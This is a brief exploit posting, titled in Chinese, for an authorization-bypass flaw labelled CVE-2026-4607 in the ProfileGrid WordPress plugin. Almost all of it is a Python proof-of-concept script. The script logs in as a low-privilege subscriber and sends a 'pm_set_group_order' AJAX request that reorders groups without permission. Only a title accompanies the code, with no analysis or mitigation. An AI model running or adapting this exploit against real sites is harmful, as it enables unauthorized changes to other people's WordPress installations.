CVE-2026-4607: ProfileGrid权限绕过漏洞

import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Login to get cookies login_url = "http://example.com/wp-login.php" session = requests.Session() payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=payload) # 2. Exploit Authorization Bypass # Action: pm_set_group_order exploit_data = { 'action': 'pm_set_group_order', 'order': ['1', '3', '2'] # Malicious order } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully. Check group order settings.") else: print("[-] Failed to send exploit.")